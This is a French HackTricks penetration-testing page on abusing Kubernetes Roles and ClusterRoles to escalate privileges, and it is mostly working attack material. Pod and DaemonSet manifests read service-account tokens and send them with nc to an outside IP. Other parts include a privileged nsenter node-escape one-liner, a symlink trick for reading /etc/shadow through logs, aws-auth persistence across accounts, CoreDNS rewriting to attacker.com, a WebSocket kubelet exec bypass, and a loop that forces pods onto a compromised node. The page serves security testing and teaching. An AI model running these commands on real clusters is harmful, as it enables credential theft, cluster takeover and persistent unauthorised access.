Abuser des Roles/ClusterRoles dans Kubernetes

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Vous trouverez ici quelques configurations potentiellement dangereuses de Roles et ClusterRoles.
N’oubliez pas que vous pouvez obtenir toutes les ressources prises en charge avec kubectl api-resources

Escalade de privilĂšges

On entend par lĂ  l’art d’obtenir l’accĂšs Ă  un autre principal dans le cluster avec des privilĂšges diffĂ©rents (au sein du cluster Kubernetes ou vers des clouds externes) de ceux que vous possĂ©dez dĂ©jĂ . Dans Kubernetes, il existe essentiellement 4 principales techniques pour escalader les privilĂšges :

  • Pouvoir impersonate d’autres user/groups/SAs avec des privilĂšges supĂ©rieurs au sein du cluster Kubernetes ou vers des clouds externes
  • Pouvoir create/patch/exec pods oĂč vous pouvez find or attach SAs disposant de privilĂšges supĂ©rieurs au sein du cluster Kubernetes ou vers des clouds externes
  • Pouvoir read secrets puisque les tokens des SAs sont stockĂ©s en tant que secrets
  • Pouvoir escape to the node depuis un container, oĂč vous pouvez voler tous les secrets des containers s’exĂ©cutant sur le node, les identifiants du node, et les permissions du node dans le cloud sur lequel il tourne (le cas Ă©chĂ©ant)
  • Une cinquiĂšme technique mĂ©rite d’ĂȘtre mentionnĂ©e : la capacitĂ© Ă  run port-forward dans un pod, car vous pourriez accĂ©der Ă  des ressources intĂ©ressantes Ă  l’intĂ©rieur de ce pod.

AccĂ©der Ă  n’importe quelle ressource ou verb (Wildcard)

Le wildcard (*) donne la permission sur n’importe quelle ressource avec n’importe quel verb. Il est utilisĂ© par les admins. Dans une ClusterRole, cela signifie qu’un attaquant pourrait abuser n’importe quel namespace dans le cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

AccĂ©der Ă  n’importe quelle ressource avec un verbe spĂ©cifique

Dans RBAC, certaines permissions présentent des risques importants :

  1. create: Accorde la capacitĂ© de crĂ©er n’importe quelle ressource du cluster, risquant une privilege escalation.
  2. list: Permet de lister toutes les ressources, potentiellement leaking des données sensibles.
  3. get: Permet d’accĂ©der aux secrets des service accounts, constituant une menace pour la sĂ©curitĂ©.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Un attaquant disposant des permissions pour crĂ©er un pod peut attacher un Service Account privilĂ©giĂ© au pod et voler le token afin d’usurper ce Service Account. Cela permet d’escalader ses privilĂšges.

Exemple d’un pod qui volera le token du bootstrap-signer service account et l’enverra à l’attaquant :

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Ce qui suit indique tous les privilùges qu’un conteneur peut avoir :

  • AccĂšs privilĂ©giĂ© (dĂ©sactivation des protections et configuration des capabilities)
  • DĂ©sactiver les namespaces hostIPC et hostPid qui peuvent aider Ă  escalader les privilĂšges
  • DĂ©sactiver le namespace hostNetwork, donnant la possibilitĂ© de voler les privilĂšges cloud des nƓuds et un meilleur accĂšs aux rĂ©seaux
  • Monter le / de l’hĂŽte Ă  l’intĂ©rieur du conteneur
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Créez le pod avec :

kubectl --token $token create -f mount_root.yaml

Commande en une ligne provenant de this tweet et avec quelques ajouts :

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Maintenant que vous pouvez vous échapper vers le node, consultez les techniques de post-exploitation dans :

Discrétion

Vous voudrez probablement ĂȘtre plus discret, dans les pages suivantes vous pouvez voir ce Ă  quoi vous pourriez accĂ©der si vous crĂ©ez un pod en n’activant que certaines des privilĂšges mentionnĂ©s dans le template prĂ©cĂ©dent :

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

Vous pouvez trouver des exemples de comment créer/abuser les configurations précédentes de pods privilégiés dans https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Si vous pouvez crĂ©er un pod (et optionnellement un service account) vous pourriez ĂȘtre capable d’obtenir des privilĂšges dans un environnement cloud en assignant des cloud roles Ă  un pod ou Ă  un service account puis en y accĂ©dant.
De plus, si vous pouvez crĂ©er un pod avec le host network namespace vous pouvez voler le IAM role de l’instance node.

Pour plus d’informations consultez :

Pod Escape Privileges

Créer/Modifier Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Il est possible d’abuser de ces permissions pour crĂ©er un nouveau pod et escalader des privilĂšges comme dans l’exemple prĂ©cĂ©dent.

Le yaml suivant crĂ©e un daemonset et exfiltre le token du SA Ă  l’intĂ©rieur du pod :

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec est une ressource dans kubernetes utilisĂ©e pour exĂ©cuter des commandes dans un shell Ă  l’intĂ©rieur d’un pod. Cela permet d’exĂ©cuter des commandes Ă  l’intĂ©rieur des conteneurs ou d’obtenir un shell Ă  l’intĂ©rieur.

Par consĂ©quent, il est possible de pĂ©nĂ©trer dans un pod et voler le token du SA, ou d’entrer dans un pod privilĂ©giĂ©, de s’échapper vers le nƓud, et de voler tous les tokens des pods sur le nƓud et (ab)user du nƓud:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Par dĂ©faut la commande s’exĂ©cute dans le premier container du pod. RĂ©cupĂ©rez tous les containers d’un pod avec kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' puis prĂ©cisez le container oĂč vous voulez l’exĂ©cuter avec kubectl exec -it <pod_name> -c <container_name> -- sh

Si c’est un container distroless vous pouvez essayer d’utiliser les builtins du shell pour obtenir des infos sur les containers ou uploader vos propres outils comme un busybox via : kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Cette permission permet de rediriger un port local vers un port spĂ©cifique d’un pod. Cela sert Ă  pouvoir dĂ©boguer facilement des applications s’exĂ©cutant dans un pod, mais un attaquant pourrait en abuser pour accĂ©der Ă  des applications intĂ©ressantes (comme des DB) ou vulnĂ©rables (webs ?) Ă  l’intĂ©rieur d’un pod :

kubectl port-forward pod/mypod 5000:5000

Évasion si /var/log/ de l’hĂŽte est accessible en Ă©criture

As indicated in this research, si vous pouvez accéder ou créer un pod avec le répertoire hosts /var/log/ monté dessus, vous pouvez vous échapper du conteneur.
Ceci s’explique essentiellement parce que lorsque le Kube-API tente de rĂ©cupĂ©rer les logs d’un container (en utilisant kubectl logs <pod>), il demande le fichier 0.log du pod via l’endpoint /logs/ du service Kubelet.
Le service Kubelet expose l’endpoint /logs/ qui expose en fait le systùme de fichiers /var/log du container.

Ainsi, un attacker avec un accÚs en écriture au dossier /var/log/ du conteneur peut abuser de ce comportement de 2 maniÚres :

  • Modifier le fichier 0.log de son container (gĂ©nĂ©ralement situĂ© dans /var/logs/pods/namespace_pod_uid/container/0.log) pour en faire un symlink pointant vers /etc/shadow par exemple. Ensuite, vous pourrez exfiltrate le fichier shadow de l’hĂŽte en faisant :
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Si l’attaquant contrĂŽle un principal ayant les permissions de lecture de nodes/log, il peut simplement crĂ©er un symlink dans /host-mounted/var/log/sym pointant vers / et en accĂ©dant Ă  https://<gateway>:10250/logs/sym/ il listera le systĂšme de fichiers racine de l’hĂŽte (modifier le symlink peut donner accĂšs Ă  des fichiers).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratoire et un exploit automatisé sont disponibles sur https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Contourner la protection en lecture seule

Si vous avez la chance et que la capacité trÚs privilégiée CAP_SYS_ADMIN est disponible, vous pouvez simplement remonter le dossier en rw:

mount -o rw,remount /hostlogs/

Contournement de la protection hostPath readOnly

Comme indiqué dans this research il est possible de contourner la protection:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ce mĂ©canisme Ă©tait censĂ© prĂ©venir des escapes comme les prĂ©cĂ©dents : au lieu d’utiliser un hostPath mount, utiliser un PersistentVolume et un PersistentVolumeClaim pour monter un dossier hosts dans le container avec un accĂšs en Ă©criture :

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonating privileged accounts

Avec un privilÚge de user impersonation, un attaquant pourrait usurper un compte privilégié.

Il suffit d’utiliser le paramùtre --as=<username> dans la commande kubectl pour usurper un utilisateur, ou --as-group=<group> pour usurper un groupe :

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou utilisez l’API REST :

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lister les secrets

L’autorisation de lister les secrets pourrait permettre Ă  un attaquant de rĂ©ellement lire les secrets en accĂ©dant Ă  l’endpoint de l’API REST :

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Création et lecture des Secrets

Il existe un type spécial de secret Kubernetes de type kubernetes.io/service-account-token qui stocke des tokens de serviceaccount. Si vous avez les autorisations pour créer et lire des secrets, et que vous connaissez également le nom du serviceaccount, vous pouvez créer un secret comme suit puis voler le token du serviceaccount victime depuis ce secret :

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Exemple d’exploitation :

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Notez que si vous ĂȘtes autorisĂ© Ă  crĂ©er et Ă  lire des secrets dans un namespace donnĂ©, le serviceaccount victime doit Ă©galement se trouver dans ce mĂȘme namespace.

Lecture d’un secret – brute-forcing token IDs

Bien qu’un attaquant en possession d’un token avec des permissions de lecture ait besoin du nom exact du secret pour l’utiliser — contrairement au privilĂšge plus large de listing secrets — il existe encore des vulnĂ©rabilitĂ©s. Les comptes de service par dĂ©faut du systĂšme peuvent ĂȘtre Ă©numĂ©rĂ©s, chacun Ă©tant associĂ© Ă  un secret. Ces secrets ont une structure de nom : un prĂ©fixe statique suivi d’un token alphanumĂ©rique alĂ©atoire de cinq caractĂšres (en excluant certains caractĂšres) selon le source code.

Le token est gĂ©nĂ©rĂ© Ă  partir d’un jeu limitĂ© de 27 caractĂšres (bcdfghjklmnpqrstvwxz2456789), plutĂŽt que de l’ensemble alphanumĂ©rique complet. Cette limitation rĂ©duit le nombre total de combinaisons possibles Ă  14 348 907 (27^5). Par consĂ©quent, un attaquant pourrait raisonnablement lancer une brute-force attack pour dĂ©duire le token en quelques heures, ce qui pourrait conduire Ă  une privilege escalation en accĂ©dant Ă  des service accounts sensibles.

EncrpytionConfiguration en clair

Il est possible de trouver des clĂ©s en clair servant Ă  chiffrer les donnĂ©es au repos dans ce type d’objet, comme :

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Demandes de signature de certificat

Si vous avez le verbe create sur la ressource certificatesigningrequests (ou au moins sur certificatesigningrequests/nodeClient). Vous pouvez create un nouveau CeSR d’un nouveau node.

Selon la documentation il est possible d’approuver automatiquement ces demandes, donc dans ce cas vous n’avez pas besoin de permissions supplĂ©mentaires. Sinon, vous devrez ĂȘtre capable d’approuver la requĂȘte, ce qui signifie update dans certificatesigningrequests/approval et approve dans signers avec resourceName <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Un exemple de role avec toutes les permissions requises est :

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Ainsi, avec le nouveau node CSR approuvé, vous pouvez abuse les permissions spéciales des nodes pour steal secrets et escalate privileges.

Dans this post et this one la configuration GKE K8s TLS Bootstrap est configurĂ©e avec automatic signing et elle est abusĂ©e pour gĂ©nĂ©rer les credentials d’un nouveau K8s Node puis abuse ceux-ci pour escalate privileges en steal secrets.
Si vous have the mentioned privileges you could do the same thing. Notez que le premier exemple contourne l’erreur empĂȘchant un nouveau node d’accĂ©der aux secrets Ă  l’intĂ©rieur des containers parce qu’un node can only access the secrets of containers mounted on it.

La méthode pour contourner cela consiste simplement à create a node credentials for the node name where the container with the interesting secrets is mounted (but just check how to do it in the first post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Les entitĂ©s (principals) qui peuvent modifier configmaps dans l’espace de noms kube-system sur des clusters EKS (doivent ĂȘtre sur AWS) peuvent obtenir des privilĂšges d’administrateur du cluster en Ă©crasant le aws-auth configmap.
Les verbes nĂ©cessaires sont update et patch, ou create si le configmap n’a pas Ă©tĂ© créé:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Vous pouvez utiliser aws-auth pour la persistance, donnant accùs à des utilisateurs d’autres comptes.

Cependant, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne fonctionne pas depuis un autre compte. Mais en rĂ©alitĂ© aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing fonctionne si vous mettez l’ARN du cluster au lieu du nom seulement.
Pour faire fonctionner kubectl, assurez-vous simplement de configurer le kubeconfig de la victime et dans les aws exec args ajoutez --profile other_account_role afin que kubectl utilise le profil de l’autre compte pour obtenir le token et contacter AWS.

CoreDNS config map

Si vous avez les permissions pour modifier le coredns configmap dans l’espace de noms kube-system, vous pouvez modifier les adresses vers lesquelles les domaines seront rĂ©solus afin de pouvoir effectuer des attaques MitM pour voler des informations sensibles ou injecter du contenu malveillant.

Les verbes nécessaires sont update et patch sur le coredns configmap (ou sur tous les config maps).

Un fichier coredns standard contient quelque chose comme ceci:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Un attaquant pourrait le tĂ©lĂ©charger en exĂ©cutant kubectl get configmap coredns -n kube-system -o yaml, le modifier en ajoutant quelque chose comme rewrite name victim.com attacker.com de sorte que chaque fois que victim.com est consultĂ©, c’est en rĂ©alitĂ© attacker.com qui sera accĂ©dĂ©. Puis l’appliquer en exĂ©cutant kubectl apply -f poison_dns.yaml.

Une autre option consiste à éditer directement le fichier en exécutant kubectl edit configmap coredns -n kube-system et en effectuant les modifications.

Escalating in GKE

Il existe 2 façons d’assigner des permissions K8s aux principals GCP. Dans tous les cas le principal a aussi besoin de la permission container.clusters.get pour pouvoir rĂ©cupĂ©rer les credentials afin d’accĂ©der au cluster, ou vous devrez gĂ©nĂ©rer votre propre fichier de config kubectl (suivre le lien suivant).

Warning

Lorsque vous vous adressez Ă  l’endpoint API K8s, le GCP auth token sera envoyĂ©. Ensuite, GCP, via l’endpoint API K8s, vĂ©rifiera d’abord si le principal (par email) dispose d’un accĂšs Ă  l’intĂ©rieur du cluster, puis vĂ©rifiera s’il a un accĂšs via GCP IAM.
Si l’une de ces conditions est vraie, une rĂ©ponse sera fournie. Sinon, une erreur suggĂ©rant d’accorder des permissions via GCP IAM sera renvoyĂ©e.

Ensuite, la premiÚre méthode utilise GCP IAM : les permissions K8s ont leurs permissions équivalentes dans GCP IAM, et si le principal les possÚde, il pourra les utiliser.

GCP - Container Privesc

La seconde mĂ©thode consiste Ă  assigner des permissions K8s Ă  l’intĂ©rieur du cluster en identifiant l’utilisateur par son email (y compris les GCP service accounts).

Create serviceaccounts token

Les principals qui peuvent create TokenRequests (serviceaccounts/token) lorsqu’ils interagissent avec l’endpoint API K8s SAs (info from here).

ephemeralcontainers

Les principals qui peuvent update ou patch pods/ephemeralcontainers peuvent obtenir une exĂ©cution de code sur d’autres pods, et potentiellement s’échapper vers leur nƓud en ajoutant un ephemeral container avec un securityContext privilĂ©giĂ©

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Les principals disposant de l’un des verbs create, update ou patch sur validatingwebhookconfigurations ou mutatingwebhookconfigurations pourraient ĂȘtre capables de crĂ©er une telle webhookconfiguration afin de escalader des privilĂšges.

For a mutatingwebhookconfigurations example check this section of this post.

Escalate

Comme expliquĂ© dans la section suivante : Built-in Privileged Escalation Prevention, un principal ne peut ni update ni create des roles ou clusterroles sans possĂ©der lui‑mĂȘme ces nouvelles permissions. Sauf s’il dispose du verb escalate or * sur roles ou clusterroles et des options de binding correspondantes.
Dans ce cas, il peut update/create de nouveaux roles, clusterroles avec des permissions supĂ©rieures Ă  celles qu’il possĂšde.

Nodes proxy

Les principals ayant accĂšs au subresource nodes/proxy peuvent exĂ©cuter du code sur des pods via l’API Kubelet (selon this). Plus d’informations sur l’authentification Kubelet sur cette page :

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion

  • Kubelet mappe les mĂ©thodes HTTP vers les verbs RBAC avant l’upgrade du protocole. Les handshakes WebSocket doivent commencer par HTTP GET (Connection: Upgrade), donc /exec via WebSocket est vĂ©rifiĂ© comme verb get au lieu du create attendu.
  • /exec, /run, /attach et /portforward ne sont pas mappĂ©s explicitement et tombent dans le subresource par dĂ©faut proxy, donc la question d’autorisation devient can <user> get nodes/proxy?
  • Si un token n’a que nodes/proxy + get, un accĂšs WebSocket direct au kubelet sur https://<node_ip>:10250 permet l’exĂ©cution arbitraire de commandes dans n’importe quel pod de ce nƓud. La mĂȘme requĂȘte via le chemin proxy de l’API server (/api/v1/nodes/<node>/proxy/exec/...) est refusĂ©e car il s’agit d’un POST HTTP normal et mappe sur create.
  • Le kubelet n’effectue pas de seconde autorisation aprĂšs l’upgrade WebSocket ; seul le GET initial est Ă©valuĂ©.

Exploit direct (requiert la connectivité réseau vers le kubelet et un token avec nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Utilisez le Node IP, pas le nom du node. La mĂȘme requĂȘte avec curl -X POST sera Forbidden parce qu’elle correspond Ă  create.
  • Un accĂšs direct au kubelet contourne l’API server, donc AuditPolicy n’affiche que les subjectaccessreviews provenant de l’user agent du kubelet et n’enregistre pas les commandes pods/exec.
  • ÉnumĂ©rez les service accounts affectĂ©s avec le detection script pour trouver des tokens limitĂ©s Ă  nodes/proxy GET.

Supprimer des pods + rendre des nodes non planifiables

Les principals pouvant supprimer des pods (delete verb sur la ressource pods), ou expulser des pods (create verb sur la ressource pods/eviction), ou modifier le status d’un pod (accĂšs Ă  pods/status) et pouvant rendre d’autres nodes non planifiables (accĂšs Ă  nodes/status) ou supprimer des nodes (delete verb sur la ressource nodes) et contrĂŽlant un pod, pourraient voler des pods d’autres nodes pour qu’ils soient exĂ©cutĂ©s sur le node compromis et l’attaquant pourrait voler les tokens de ces pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services status (CVE-2020-8554)

Les principals qui peuvent modifier services/status peuvent dĂ©finir le champ status.loadBalancer.ingress.ip pour exploiter la CVE-2020-8554 non corrigĂ©e et lancer des attaques MiTM contre le cluster. La plupart des mitigations pour CVE-2020-8554 n’empĂȘchent que les services ExternalIP (selon this).

Nodes and Pods status

Les principals disposant des permissions update ou patch sur nodes/status ou pods/status peuvent modifier des labels pour affecter les contraintes d’ordonnancement appliquĂ©es.

Built-in Privileged Escalation Prevention

Kubernetes dispose d’un mĂ©canisme intĂ©grĂ© pour prĂ©venir l’élĂ©vation de privilĂšges.

Ce systĂšme garantit que les utilisateurs ne peuvent pas Ă©lever leurs privilĂšges en modifiant des roles ou des role bindings. L’application de cette rĂšgle se fait au niveau de l’API, offrant une protection mĂȘme lorsque l’autorisateur RBAC est inactif.

La rĂšgle stipule qu’un utilisateur ne peut crĂ©er ou mettre Ă  jour un role que s’il possĂšde l’ensemble des permissions que le role comprend. De plus, la portĂ©e des permissions existantes de l’utilisateur doit correspondre Ă  celle du role qu’il tente de crĂ©er ou de modifier : soit Ă  l’échelle du cluster pour les ClusterRoles, soit confinĂ©e au mĂȘme namespace (ou Ă  l’échelle du cluster) pour les Roles.

Warning

Il existe une exception Ă  la rĂšgle prĂ©cĂ©dente. Si un principal a le verbe escalate sur roles ou clusterroles, il peut augmenter les privilĂšges des roles et clusterroles mĂȘme sans possĂ©der ces permissions lui‑mĂȘme.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Apparemment cette technique fonctionnait auparavant, mais d’aprĂšs mes tests elle ne fonctionne plus pour la mĂȘme raison expliquĂ©e dans la section prĂ©cĂ©dente. Vous ne pouvez pas crĂ©er/modifier un rolebinding pour vous donner ou donner Ă  un autre SA des privilĂšges si vous ne les possĂ©dez pas dĂ©jĂ .

